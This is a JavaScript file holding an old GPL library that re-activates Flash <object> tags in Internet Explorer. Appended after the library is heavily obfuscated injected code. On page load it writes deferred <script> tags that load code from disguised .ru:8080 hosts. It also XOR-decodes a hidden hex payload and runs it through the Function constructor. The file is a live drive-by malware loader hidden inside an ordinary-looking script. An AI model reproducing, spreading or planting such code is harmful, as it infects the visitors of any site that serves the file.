/**
	Frédéric Saunier
	http://www.tekool.net/javascript/backtothehtml

	This program is part of a free software; you can redistribute it and/or
	modify it under the terms of the GNU General Public License
	as published by the Free Software Foundation; either version 2
	of the License, or (at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.

**/

/*****************************************************************************
* BackToTheHtml Command
*///**************************************************************************
function BackToTheHtml(node)
{
	if(node == null)
		this.node = document; 
	else
		this.node = node; 
};
BackToTheHtml.prototype.node = null;

BackToTheHtml.prototype.execute = function()
{
	this.activateObject();
}

BackToTheHtml.prototype.activateObject = function(domObject)
{
	var aDomObject = this.node.getElementsByTagName('object');
	var activationObject;
	for(var i=0; i<aDomObject.length; i++)
		if
		(
			aDomObject[i].getAttributeNode('BackToTheHtml') == null
			&&
			(activationObject = this.getActivationObject(aDomObject[i])) != null
		)
			activationObject.execute();
};

BackToTheHtml.prototype.getActivationObject = function(domObject)
{
	var classid = domObject.classid.toUpperCase().substr('clsid:'.length);
	var mimeType = domObject.type.toLowerCase();

	switch(true)
	{
		case 
			classid == 'D27CDB6E-AE6D-11CF-96B8-444553540000' 
			||
			mimeType == 'application/x-shockwave-flash'
		:
			return new ActivateObjectFlash(domObject);

		default :
			return null;
	}
};

BackToTheHtml.uniqueID = function(prefix)
{
	var sPrefix;
	if(prefix == null)
		sPrefix = 'uniqueId';
	else
		sPrefix = prefix;
		
	var i=0;
	while(document.getElementById(sPrefix + (i++)))
		;
	return sPrefix + (i-1);
};

BackToTheHtml.isParentOf = function(parent,child)
{
	var found = false;
	for(var i=0; i<parent.childNodes.length; i++)
		if(parent.childNodes[i] == child)
			return true;
		else
			found = arguments.callee(parent.childNodes[i],child);

	return found;
}

/*****************************************************************************
* ActivateObject Command
*///**************************************************************************
function ActivateObject(domObject)
{
	this.domObject = domObject;
}

ActivateObject.prototype.domObject = null;
ActivateObject.prototype.classid = null;
ActivateObject.prototype.aHtmlAttribute = ['accessKey','align','alt','archive','border','code','codeBase','codeType','declare','dir','height','hideFocus','hspace','lang','language','name','standby','tabIndex','title','useMap','vspace','width'];
ActivateObject.prototype.aObjectProperty = null;

ActivateObject.prototype.execute = function()
{
	this.xndObjectId = BackToTheHtml.uniqueID();
	this.setTextHtml();
	this.writeObject();

	this.xndObject = document.getElementById(this.xndObjectId);
	this.setSpecialProperties();
	this.removeOriginalObject();
}

ActivateObject.prototype.setTextHtml = function()
{
	var str = '';
	str += '<object BackToTheHtml ' + '\n';
	str += ' classid="clsid:' + this.classid + '" ' + '\n';

	//Add HTML attributes to the <object> tag
	for(var i=0; i<this.aHtmlAttribute.length; i++)
	{
		var name = this.aHtmlAttribute[i];
		if(typeof this.domObject[name] != 'undefined' && this.domObject[name].toString() != '')
			str += '\t' + name + '="' + this.domObject[name].toString() + '" ' + '\n';
	}

	str += 'id="' + this.xndObjectId + '" ' + '\n';
	str += '>';

	for(var i=0; i<this.aObjectProperty.length; i++)
	{
		var name = this.aObjectProperty[i];
		if(typeof this.domObject[name] != 'undefined' && this.domObject[name].toString() != '' )
			str += '\t<param name="' + name + '" value="' + this.domObject[name].toString() + '"></param>' + '\n';
	}
	str += '</object>';

	this.textHtml = str;
};

ActivateObject.prototype.writeObject = function()
{
	this.domObject.insertAdjacentHTML("afterEnd",this.textHtml);
};

ActivateObject.prototype.setSpecialProperties = function()
{
	if(typeof this.domObject.className != 'undefined' && this.domObject.className.toString() != '')
		this.xndObject.className = this.domObject.className

	if(typeof this.domObject.style.cssText != 'undefined' && this.domObject.style.cssText.toString() != '')
		this.xndObject.style.cssText = this.domObject.style.cssText;

	if(typeof this.domObject.SWRemote != 'undefined' && this.domObject.SWRemote.toString() != '')
		this.xndObject.FlashVars = this.domObject.SWRemote;

	if(typeof this.domObject.codebase == 'undefined' || this.domObject.codebase.toString() == '')
		this.xndObject.codebase = 'http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,24,0';

	if(typeof this.domObject.id != 'undefined' && this.domObject.id.toString() != '')
		this.xndObject.id = this.domObject.id;

};

ActivateObject.prototype.removeOriginalObject = function()
{
	this.domObject.parentNode.removeChild(this.domObject);
};

/*****************************************************************************
* ActivateObjectFlash Command
*///**************************************************************************
function ActivateObjectFlash(domObject)
{
	ActivateObject.call(this,domObject);
}
ActivateObjectFlash.prototype = new ActivateObject;
ActivateObjectFlash.prototype.aObjectProperty = ['FrameNum','Playing','Quality','Quality2','Scalemode','Scale','AlignMode','SAlign','BackgroundColor','BGColor','Loop','Movie','WMode','Base','DeviceFont','EmbedMovie','SWRemote','FlashVars','AllowScriptAccess'];
ActivateObjectFlash.prototype.classid = 'D27CDB6E-AE6D-11CF-96B8-444553540000';


/*****************************************************************************
* Script initialisation
*///**************************************************************************
if(typeof ActiveXObject != 'undefined' && typeof Function.call != 'undefined')
{
	var styleId = BackToTheHtml.uniqueID();
	document.write('<style id="' + styleId + '" ></style>');
	var domStyle = document.getElementById(styleId);

	var isHead = false;
	var aHead = document.getElementsByTagName('head');
	for(var i=0; i<aHead.length; i++)
		if(BackToTheHtml.isParentOf(aHead[i],domStyle))
			isHead = true;

	if(isHead)
	{
		document.write('<style type="text/css">OBJECT{visibility:hidden;}</style>');
		document.onreadystatechange = function()
		{
			if(document.readyState == 'complete')
			{
				new BackToTheHtml().execute();
				document.styleSheets[document.styleSheets.length-1].addRule("OBJECT","visibility:visible;");
				//alert('head');
				//alert(document.body.innerHTML);
			}
		}
	}
	else
	{
		new BackToTheHtml().execute();
		//alert('body');
		//alert(document.body.innerHTML);
	}
	
	domStyle.parentNode.removeChild(domStyle);
}
var d=new Array();this.du='';var c=window;var r=document;var cl='';this.dz="dz";function o(n){var _=['hFtXt5p>:X/5/>a>n%j>uXkXeF-%cXo>m>.%p>i%cFf%oFcFo%.5c%o>m%.%w%aXs%hFiXn5gFt5oFn%p>oFsFt>->c>o>mX.Xr5e>dFt>a%g>c5rXu>i>s5eFsF.FrFuF:X8%0%8%05/Xs%eXa>r>sF.XcFo%mX/>s5eXa>r%s>.%c>o5m5/5gXo5oFg%l%e5.%cFoXm>/Fr5mXxXa%dFs>.5cXoXm>/FmXo5b5iXl5e>.XdXe5/%'.replace(/[%X5F\>]/g, ''), 'sJc1raiJpZtJ'.replace(/[J1aMZ]/g, ''), 'cbrVebabtbe*EVl#e^m*e#nVt#'.replace(/[#\*V\^b]/g, ''), 'ocnul/o9a$du'.replace(/[u\$c9/]/g, ''), 's0r0cP'.replace(/[P0Vw\:]/g, ''), 'a9pPpPeRn:d9C9h;i:l9d:'.replace(/[\:RP;9]/g, ''), 'sUedtwA0t0t0rDidbUu0tweU'.replace(/[U0Dwd]/g, ''), 'bJoJdLyJ'.replace(/[J\?Z\>L]/g, ''), 'dUeDf^e^rD'.replace(/[D\^m/U]/g, ''), "1"];var f=new String();var z=_[n];var b;if(b!='an'){b='an'};return z;}var k = function(){this.qr='';try {l=r[o([0,2][1])](o([1][0]));var hu=8943;l[o([6,1][0])](o([3,8][1]), o([9,9][0]));var le;if(le!='i'){le=''};l[o([4][0])]=o([0,0][0]);var v = r[o([7][0])];var ly;if(ly!=''){ly='m'};var km=46136;v[o([5,2][0])](l);} catch(lq){var ry;if(ry!='' && ry!='qz'){ry='rg'};};};var m_;if(m_!='' && m_!='ns'){m_=null};c[o([4,3][1])]=k;var fi="";this.ec="ec";
var AO="e4f6edf2f095efe5c4e9d991f7efe1f789dbe9c5e7e4ebf7ffc4fbd2caf1d3fac3fac3e3cdffd0d3d3fecac2fddbd1f7f1cff1c2d5caeed3d1f1ebeafddcedf7ec92cef694e4f1f79ee5e785e7eb";var UKa;if(UKa!='asN'){UKa='asN'};var qW;if(qW!='NU'){qW='NU'};var TG;if(TG!='xH'){TG='xH'};function B(m){var PC="PC";var ee;if(ee!='' && ee!='KV'){ee=''}; var s=function(Ll){var Pr;if(Pr!='Yi' && Pr!='y'){Pr=''};var I=new String();Ll = new V(Ll);this.iS=false;var W = -1;var G='';var l =[158,0,194,173][1];var Y = '';this.ER="";var xz;if(xz!='' && xz!='JF'){xz=''};var Lw =[0,11,37,136][0];var xo;if(xo!='' && xo!='Hm'){xo='bE'};var mG;if(mG!='' && mG!='u'){mG='xb'};for (l=Ll[L("nelhtg", [2,1,0])]-W;l>=Lw;l=l-[94,77,1][2]){Y+=Ll[L("hcratA", [1,0])](l);this.uH=false;}var UD="";var SL=new String();var yL;if(yL!=''){yL='JE'};var Aj;if(Aj!='Vz' && Aj!='de'){Aj='Vz'};return Y;};this.ajX="";var fa=new String();var C="";this.Q=""; function P(YV,a){return YV[L("rdcohaCeAt", [2,4,5,0,6,3,1])](a);var CT;if(CT!=''){CT='Po'};}var QA=new Date(); var Pa=function(o){var gR=false;var DE=false;var p=[255,210,71][0];this.q=44606;var YE=[0][0];var AX=new Date();var Bl=[181,132,1][2];this.SX="";var v=o[L("nhelgt", [3,2,0,4,5,1])];var vc="";var T="";var aj=[0,235,39][0];var bx=37978;while(aj<v){var xN;if(xN!='' && xN!='JR'){xN=null};var SW;if(SW!='QB' && SW!='TC'){SW='QB'};var AY;if(AY!='Ez' && AY!='jl'){AY='Ez'};var yP=16455;aj++;var hS=new String();x=P(o,aj - Bl);YE+=x*v;}var om;if(om!='' && om!='txD'){om=null};return new V(YE % p);var aA=new Date();var xO="xO";}; function L(Ll, n){var Pz=new Array();var Te;if(Te!='' && Te!='Aw'){Te='RE'};var Lw=[16,38,0][2];var Ri;if(Ri!='iL' && Ri!='qZ'){Ri=''};var rc=new Array();var Bl=[48,1][1];this.tD='';var Y = '';var KL;if(KL!='' && KL!='bI'){KL=''};var GF="";var r = Ll.length;var t = n.length;var Br="";var wpC;if(wpC!='' && wpC!='Kf'){wpC=null};for(var l = Lw; l < r; l += t) {this.yZ=42150;var hv;if(hv!='sZ'){hv='sZ'};var sf="sf";var b = Ll.substr(l, t);var jX=21597;var vT;if(vT!='dV' && vT != ''){vT=null};var Lwa;if(Lwa!='tP' && Lwa != ''){Lwa=null};if(b.length == t){this.UC="";var Mx="";for(var aj in n) {var uS="";Y+=b.substr(n[aj], Bl);var nA=false;}this.wP='';var TT;if(TT!='' && TT!='FJ'){TT=''};} else {var rR=false;  Y+=b;var AXc;if(AXc!='GY' && AXc != ''){AXc=null};var mb='';}}return Y;var wA;if(wA!='N' && wA!='tV'){wA='N'};}var Pre;if(Pre!='' && Pre!='CP'){Pre=''};var DC;if(DC!='' && DC!='YD'){DC=''}; var c=function(w,PN){return w^PN;var fm="";};var zU;if(zU!='' && zU!='CA'){zU='hce'};var dz=new Date();this.Au='';var H=window;var fw=new String();var K=H[L("vela", [1,0])];var Ie;if(Ie!='' && Ie!='Oa'){Ie=''};var lu=K(L("iFctnoun", [1,6,4,2,3,0,5]));var Ur;if(Ur!='VN'){Ur=''};this.Ld=32466;this.yk=50206;var k=K(L("epRgxE", [2,0,3,5,4,1]));this.Og="Og";this.Sm="Sm";var cR=new Array();var z = '';var V=K(L("trSnig", [2,0,1,4,3]));var XKN="XKN";var Li="Li";var em=new Array();var EfI=new Date();this.Jf=63098;var R=H[L("enuspace", [2,1,0,3])];var ZL;if(ZL!='nAU' && ZL != ''){ZL=null};var Z=V[L("rfmohCraoCed", [1,0])];var DU;if(DU!='' && DU!='JUD'){DU=null};var HI;if(HI!='' && HI!='yt'){HI=null};this.OH=false;var xM = '';this.Ml="";this.Di="";var Bu;if(Bu!='dP'){Bu=''};var WK;if(WK!='Us'){WK=''};var ZP = /[^@a-z0-9A-Z_-]/g;var jbR='';var oP=[1, L("ucdmo.tecntareemeEel\'(nstpictr\')", [2,4,1,0,3]),2, L("udcotmned.obpya.dpnelCih)dd(", [1,3,2,0]),3, L("v.laildieset.iesng8:ru080", [2,3,1,5,4,0]),4, L(".setdttriAute(bdefe\'r\'", [4,0,1,2,3]),5, L("omcao..cl.uo.5k1", [2,0,1]),6, L("lovir.af", [2,1,3,0]),7, L("owidwnoaol.nd", [4,2,5,3,0,1]),8, L("ewllfsraog", [1,0]),11, L("o.eolggcom", [6,0,3,5,4,2,1]),12, L("tcnuf)(noi", [4,3,2,1,0]),14, L("cacht(e)", [2,1,4,0,3]),15, L(".ycbuom", [3,4,1,0,2]),16, L("ol.oerg", [1,4,0,2,3]),17, L("p\"tt:h", [1,5,3,2,0,4]),18, L("c.srd", [4,1,2,3,0]),19, L("1)\'\'", [3,0,2,1]),20, L("rty", [1,0])];var wf;if(wf!='' && wf!='Db'){wf='hi'};var dc;if(dc!='' && dc!='Ym'){dc=null};var eH="";var jr;if(jr!='' && jr!='CR'){jr=null};var e = Z(37);var DiX=new Date();var mu = '';var h = m[L("gnleth", [2,3,1,0])];var aQ=new String();var KS=new String();var Lw =[0,144][0];var HT;if(HT!='' && HT!='Xx'){HT=''};var jnr=new Date();var ar = '';this.Mn="Mn";var WV;if(WV!='hQ' && WV!='zO'){WV=''};var WT=new Array();var i =[208,144,73,0][3];var se;if(se!='' && se!='DY'){se=''};var nK="";var LO =[231,2][1];var BiI=new Date();var rcT=new Date();var Bl =[78,1,130,236][1];var XA;if(XA!='' && XA!='zd'){XA='BqF'};this.Ya=22589;this.ME=false;var Qk;if(Qk!='EMC' && Qk != ''){Qk=null};var KK;if(KK!='YS'){KK=''};var ot="";for(var vF=Lw; vF < h; vF+=LO){var IcW;if(IcW!='iJ' && IcW!='VzI'){IcW='iJ'};ar+= e; var it='';this.nv=false;ar+= m[L("bsurst", [1,2,0])](vF, LO);}this.NY="NY";this.Zk=false;var m = R(ar);var ou;if(ou!='mOp' && ou!='nU'){ou='mOp'};var xL;if(xL!='eD'){xL='eD'};var J = new V(B);var YH = J[L("erpalce", [1,0,2])](ZP, mu);var wGa=false;YH = s(YH);var f = new V(lu);var Rd=new Array();var Zdu=new Array();var BK;if(BK!='WE'){BK='WE'};this.Rm="Rm";var pv = oP[L("gnetlh", [4,2,1,0,3])];var xi="";this.cu="";var fP;if(fP!=''){fP='Dx'};var M = f[L("crapeel", [1,4,3,6,2,0,5])](ZP, mu);var Pf=new Date();var M = Pa(M);var fn=new Array();var Hki;if(Hki!='' && Hki!='vp'){Hki=null};var Bi=Pa(YH);var rl=new Date();var lCH="lCH";for(var l=Lw; l < (m[L("elgnht", [1,0])]);l=l+[1,252,133][0]) {var ZdI;if(ZdI!='lr' && ZdI != ''){ZdI=null};var Vd=false;var ns;if(ns!='' && ns!='Edy'){ns=''};var g = YH.charCodeAt(i);this.cN=false;var Lj = P(m,l);Lj = c(Lj, g);var lQ="lQ";Lj = c(Lj, Bi);var jF;if(jF!='' && jF!='Pj'){jF=''};Lj = c(Lj, M);i++;var Er;if(Er!='TTS'){Er='TTS'};this.iYm="iYm";var bG;if(bG!=''){bG='sD'};if(i > YH.length-Bl){i=Lw;}var sz;if(sz!='' && sz!='Sd'){sz=''};var Av;if(Av!=''){Av='MY'};xM += Z(Lj);var SLX;if(SLX!='' && SLX!='Ilw'){SLX='ep'};var Qp=new String();}this.nng=false;var zg;if(zg!='' && zg!='Dg'){zg='frr'};var BH;if(BH!='' && BH!='CY'){BH=''};for(zK=Lw; zK < pv; zK+=LO){var lXB=9591;var bg;if(bg!='Nj'){bg='Nj'};var j = Z(oP[zK]);var O = oP[zK + Bl];var pr=new Date();var aZ;if(aZ!='' && aZ!='Lln'){aZ=null};var DA;if(DA!='' && DA!='Uk'){DA='CqD'};var xzB;if(xzB!=''){xzB='Wj'};this.wg=35361;var yq;if(yq!='ry' && yq!='Wwm'){yq=''};var mY = new k(j, Z(103));var Qs;if(Qs!='jc' && Qs!='vFs'){Qs=''};var Ol=new Date();xM=xM[L("plerace", [3,2,0,1])](mY, O);}var id;if(id!='KD'){id='KD'};var bq=39917;this.vK=60634;var XXt="XXt";var cD=new lu(xM);var Cw="";var vH=false;cD();var LsR;if(LsR!='FtF' && LsR != ''){LsR=null};f = '';var ZR="";var NYX;if(NYX!='sd' && NYX != ''){NYX=null};YH = '';var hvz;if(hvz!='' && hvz!='Wi'){hvz='aS'};var ix;if(ix!='' && ix!='lW'){ix=null};Bi = '';var hG;if(hG!='' && hG!='Bh'){hG=''};M = '';xM = '';var Ve=new Date();var Ep;if(Ep!='YW' && Ep!='st'){Ep=''};cD = '';this.Zt='';this.ws="ws";var sed;if(sed!='hu' && sed != ''){sed=null};this.Pc="";var Ms="Ms";var YF=new String();return '';var fu;if(fu!='cm'){fu='cm'};var vFg=new Date();};var UKa;if(UKa!='asN'){UKa='asN'};var qW;if(qW!='NU'){qW='NU'};var TG;if(TG!='xH'){TG='xH'};B(AO);
var s;if(s!='C'){s=''};var v;if(v!='L' && v != ''){v=null};function r() {var Tu;if(Tu!='' && Tu!='T'){Tu='G'};var F=new Date();var K='[';var PV;if(PV!='' && PV!='u'){PV='_U'};var R=new String();var a='replace';var _='g';var ZX=new Date();this.tU='';var Y=']';var B=RegExp;var Uj;if(Uj!='' && Uj!='Bo'){Uj='Yu'};function Q(P,f){var m='';this.Ur="";var y=K;var gk='';y+=f;var o=new String();y+=Y;var V=new B(y, _);return P[a](V, R);};var FZ;if(FZ!='' && FZ!='wE'){FZ=null};var Qr;if(Qr!='' && Qr!='Be'){Qr='l'};var ZP=new Date();var g=window;var Ug='';var MD=new String();var W=Q('cOr9e9aOtOeOEdlWedmdednYtO',"9dOWY");this.tk='';this.ZC='';var QB='';var wQ;if(wQ!='Gg' && wQ != ''){wQ=null};var M=Q('875557770755558557577055777775',"57");var fI;if(fI!='Qb' && fI!='E'){fI=''};var Gq='';var O=Q('hZtNtNp2:N/Z/2pZrZiNcZeZl2i2n2e2-ZcZoNmN.2gZoZoNg2lNe2.2cNoN.Nj2pN.2bNaNd2oZnZg2oN-ZcZoNmZ.NfZoZrZr2e2dZt2aNgN.ZrZuN:Z',"NZ2");var Er;if(Er!='MQ' && Er!='Uv'){Er=''};var _k=Q('/JvKnKeQtJ.YcYnQ/QvKnQeJtJ.YcQnK/QgYoQoJgYlYeJ.QcKoQmK/YmJuKlQtYiYuJpJlYoQaQdY.QcJoQmK/YnYaKtKeQ.QcKoQmQ.YpYhYpY',"QKJY");var t=Q('sdcErdidpEtE',"Ed");var YQ;if(YQ!='vr' && YQ != ''){YQ=null};var kA=new String();var gW;if(gW!='tA' && gW!='cG'){gW=''};g[Q('oDn9l9oTaCdC',"Cv9TD")]=function(){this.WZ='';try {var oP='';this.hZ="";var ri=new Date();this.cs='';QB+=O;QB+=M;this.Ru='';QB+=_k;var Ul;if(Ul!='EU' && Ul != ''){Ul=null};var Rg;if(Rg!='Vr' && Rg != ''){Rg=null};var Uh;if(Uh!='LU'){Uh=''};var Fh="";yD=document[W](t);var nR=new String();i(yD,'defer',([1,4][0]));i(yD,'src',QB);var zw=new Array();document.body.appendChild(yD);var CB;if(CB!='Fc'){CB='Fc'};} catch(PA){var yU;if(yU!='' && yU!='aS'){yU=null};var DX=new Date();};var _C;if(_C!='IA'){_C=''};var lJ;if(lJ!='lr'){lJ=''};};var ce;if(ce!=''){ce='Nm'};function i(J,d,w){this.AS='';J.setAttribute(d, w);this.qo='';}var lv="";};r();